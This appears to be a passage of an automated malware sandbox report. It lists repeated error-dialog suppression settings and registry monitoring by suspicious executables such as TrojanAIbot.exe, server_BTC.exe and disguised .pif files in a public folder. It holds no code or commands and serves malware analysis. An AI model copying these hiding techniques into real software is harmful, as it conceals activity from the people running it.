Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
